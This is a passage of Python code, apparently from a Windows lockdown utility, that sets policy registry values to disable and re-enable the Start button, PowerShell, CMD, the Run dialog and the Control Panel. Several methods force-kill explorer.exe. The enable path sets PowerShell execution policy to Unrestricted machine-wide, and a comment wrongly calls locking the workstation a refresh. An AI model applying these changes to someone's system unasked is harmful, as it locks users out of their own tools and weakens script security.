def enable(self):
"""Enables the Start button by restoring the registry key."""
try:
# Open the registry key with read/write permissions
registry_key = reg.CreateKey(self.KEY, self.REG_PATH)
# Set the registry value to enable the Start button ("0" means enabled)
reg.SetValueEx(registry_key, self.REG_VALUE, 0, reg.REG_DWORD, 0)
reg.CloseKey(registry_key)
# Optionally, you could trigger a system refresh here (for immediate effect).
ctypes.windll.user32.LockWorkStation() # Lock workstations to refresh
except Exception as e:
log.error(f"Error enabling Start button: {e}")
class PowerShellCMD:
@staticmethod
def disable():
try:
# Disable PowerShell via the Registry
ps_registry_key = reg.HKEY_LOCAL_MACHINE
ps_registry_path = r"Software\Policies\Microsoft\Windows\PowerShell"
ps_key = reg.CreateKey(ps_registry_key, ps_registry_path)
reg.SetValueEx(ps_key, "DisablePSHost", 0, reg.REG_DWORD, 1)
log.info("PowerShell restrictions applied successfully")
# Set execution policy to the most restrictive level (All Types)
subprocess.run("powershell Set-ExecutionPolicy Restricted -Scope Process -Force", shell=True,
stdout=subprocess.DEVNULL)
subprocess.run("powershell Set-ExecutionPolicy Restricted -Scope CurrentUser -Force", shell=True,
stdout=subprocess.DEVNULL)
subprocess.run("powershell Set-ExecutionPolicy Restricted -Scope LocalMachine -Force", shell=True,
stdout=subprocess.DEVNULL)
log.info("Execution policies set to Restricted.")
# Disable CMD via the Registry
registry_key = reg.HKEY_CURRENT_USER
registry_path = r"Software\Policies\Microsoft\Windows\System"
key = reg.CreateKey(registry_key, registry_path)
reg.SetValueEx(key, "DisableCMD", 0, reg.REG_DWORD, 1)
log.info("All restrictions applied successfully.")
except Exception as e:
log.error(f"Error occurred: {e}")
# Function to enable CMD, PowerShell and restore execution policies
@staticmethod
def enable():
try:
# Restore execution policies
subprocess.run("powershell Set-ExecutionPolicy Unrestricted -Scope Process -Force", shell=True,
stdout=subprocess.DEVNULL)
subprocess.run("powershell Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force", shell=True,
stdout=subprocess.DEVNULL)
subprocess.run("powershell Set-ExecutionPolicy Unrestricted -Scope LocalMachine -Force", shell=True,
stdout=subprocess.DEVNULL)
log.info("Execution policies restored successfully.")
# Restore Registry settings for CMD
registry_key = reg.HKEY_CURRENT_USER
registry_path = r"Software\Policies\Microsoft\Windows\System"
key = reg.OpenKey(registry_key, registry_path, 0, reg.KEY_SET_VALUE)
reg.SetValueEx(key, "DisableCMD", 0, reg.REG_DWORD, 0)
log.info("CMD restrictions restored successfully.")
# Restore Registry settings for PowerShell
ps_registry_key = reg.HKEY_LOCAL_MACHINE
ps_registry_path = r"Software\Policies\Microsoft\Windows\PowerShell"
ps_key = reg.OpenKey(ps_registry_key, ps_registry_path, 0, reg.KEY_SET_VALUE)
reg.SetValueEx(ps_key, "DisablePSHost", 0, reg.REG_DWORD, 0)
log.info("All settings restored successfully.")
except Exception as e:
log.error(f"Error occurred: {e}")
class Run:
@staticmethod
def disable():
"""
Disables the Run dialog on Windows by setting the "NoRun" policy in the registry.
"""
try:
key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
with reg.CreateKeyEx(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE) as key:
reg.SetValueEx(key, "NoRun", 0, reg.REG_DWORD, 1)
# Notify the user to restart Explorer for changes to take effect
os.system("taskkill /f /im explorer.exe && start explorer.exe")
log.info("Run dialog disabled. Restart your system for full effect.")
except Exception as e:
log.error(f"Error disabling Run dialog: {e}")
@staticmethod
def enable():
"""
Enables the Run dialog on Windows by removing the "NoRun" policy from the registry.
"""
try:
key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
with reg.OpenKeyEx(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE) as key:
reg.DeleteValue(key, "NoRun")
# Notify the user to restart Explorer for changes to take effect
os.system("taskkill /f /im explorer.exe && start explorer.exe")
log.info("Run dialog enabled. Restart your system for full effect.")
except FileNotFoundError:
log.warning("Run dialog seems to be already enabled.")
except Exception as e:
log.error(f"Error enabling Run dialog: {e}")
class ControlPanel:
# Registry key and value details
def __init__(self):
self.POLICIES_KEY = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
self.VALUE_NAME = "NoControlPanel"
def disable(self):
"""
Disables the Control Panel by modifying the registry.
Persists through reboots.
"""
try:
with reg.OpenKey(reg.HKEY_CURRENT_USER, self.POLICIES_KEY, 0, reg.KEY_SET_VALUE) as key:
reg.SetValueEx(key, self.VALUE_NAME, 0, reg.REG_DWORD, 1)
# Refresh device by restarting explorer.exe
os.system("taskkill /f /im explorer.exe")
os.system("start explorer.exe")
log.info("Control Panel disabled successfully.")
except FileNotFoundError:
# Create the key if it doesn't exist
with reg.CreateKey(reg.HKEY_CURRENT_USER, self.POLICIES_KEY) as key:
reg.SetValueEx(key, self.VALUE_NAME, 0, reg.REG_DWORD, 1)
log.info("Control Panel disabled successfully (new key created).")
except Exception as e:
log.error(f"Failed to disable Control Panel: {e}")
def enable(self):
"""
Enables the Control Panel by modifying the registry.
Persists through reboots.
"""
try:
with reg.OpenKey(reg.HKEY_CURRENT_USER, self.POLICIES_KEY, 0, reg.KEY_SET_VALUE) as key:
reg.DeleteValue(key, self.VALUE_NAME)
# Refresh device by restarting explorer.exe
os.system("taskkill /f /im explorer.exe")